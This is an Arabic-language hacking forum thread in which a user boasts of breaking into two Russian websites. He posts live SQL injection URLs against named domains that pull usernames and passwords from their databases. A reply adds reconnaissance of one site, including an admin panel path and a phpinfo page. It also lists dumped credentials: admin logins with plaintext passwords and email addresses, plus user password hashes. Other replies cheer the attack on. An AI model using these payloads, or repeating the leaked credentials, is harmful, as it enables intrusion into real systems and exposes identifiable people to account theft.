اختراق موقعين جديــــد...

[AMINE-3d]

تم والحمد لله اختراق موقعين روسيين

1:

http://www.digitalflywheel.com/case.php?id=-4+union select 1,2,3,4,5,6,7,8,concat_ws%280x3a,username,0x3a,password%29+from+users+limit+1,1

2:

http://www.tristihii.ru/news-view.php?ID=9999999 union select 1,2,3,4,group_concat%28username,0x3a,userpass%29+from+poll_user--

 

[BackCover]

رد: اختراق موقعين جديــــد...

Bravo broo
continue

 

[qasim]

رد: اختراق موقعين جديــــد...

تسلم يا وحششششش

 

[CODE3]

رد: اختراق موقعين جديــــد...

bien faire

 

[خالد سعودي]

رد: اختراق موقعين جديــــد...

بعد اذن صاحب الموضوع بعد ماشوفت الرابط طلع صفحة في خطا ليس فيها باسبورد
***1054;***1064;***1048;***1041;***1050;***1040;

FATAL_ERROR! news.php: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' union***1042; select***1042; 1,2,3,4,group_concat(username,0x3a,userpass) from poll_user--' at line 1

بنسبة لي الموقع http://www.tristihii.ru/
بعد الفحص
تبين التالي ارجو جمع المعلومات اولا
الوحة التحكم
http://www.tristihii.ru/feedback/admin/
معلومات PHP Version 5.2.14 تفيدك كثير
http://www.tristihii.ru/phpinfo.php
http://www.tristihii.ru/icons/
http://www.tristihii.ru/robots.txt
Server: Apache
اسم القاعدة digital_dfw الجدول ssp2g_admins العمود username,password,email
النتيجة
[1] admin:dpc1s3@rch:jrigby@databasepublish.com:
[2] jbachana:biggie:joseph.bachana@databasepublish.com:
حولت ادخل لكن خطا ؟ نكمل على الموقع
اسم القاعدة digital_dfw الجدول users العمود username,password
النتيجة
[1] jbachana:e41d813551123414059fdc0d0c0eab8a:
[2] yevgeniy:e41d813551123414059fdc0d0c0eab8a:
[3] jtohfafarosh:31319e71736e81f80db023c40a2f9e85:
[4] tgardner:caf2514afe5ff1487452d38fa64e8135:
حولت فك الباسبود مافك معي ؟ على السريع
فمان الرحمن
تضامن مع الشعب السوري الحر

 

[AMINE-3d]

رد: اختراق موقعين جديــــد...

بعد اذن صاحب الموضوع بعد ماشوفت الرابط طلع صفحة في خطا ليس فيها باسبورد
***1054;***1064;***1048;***1041;***1050;***1040;

FATAL_ERROR! news.php: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' union***1042; select***1042; 1,2,3,4,group_concat(username,0x3a,userpass) from poll_user--' at line 1

بنسبة لي الموقع http://www.tristihii.ru/
بعد الفحص
تبين التالي ارجو جمع المعلومات اولا
الوحة التحكم
http://www.tristihii.ru/feedback/admin/
معلومات PHP Version 5.2.14 تفيدك كثير
http://www.tristihii.ru/phpinfo.php
http://www.tristihii.ru/icons/
http://www.tristihii.ru/robots.txt
Server: Apache
اسم القاعدة digital_dfw الجدول ssp2g_admins العمود username,password,email
النتيجة
[1] admin:dpc1s3@rch:jrigby@databasepublish.com:
[2] jbachana:biggie:joseph.bachana@databasepublish.com:
حولت ادخل لكن خطا ؟ نكمل على الموقع
اسم القاعدة digital_dfw الجدول users العمود username,password
النتيجة
[1] jbachana:e41d813551123414059fdc0d0c0eab8a:
[2] yevgeniy:e41d813551123414059fdc0d0c0eab8a:
[3] jtohfafarosh:31319e71736e81f80db023c40a2f9e85:
[4] tgardner:caf2514afe5ff1487452d38fa64e8135:
حولت فك الباسبود مافك معي ؟ على السريع
فمان الرحمن
تضامن مع الشعب السوري الحر

الله يحفضك اخي على المعلومات لكن انا عندي وقت طويل غايب عن الميدان ساسترجع هذه الايام ...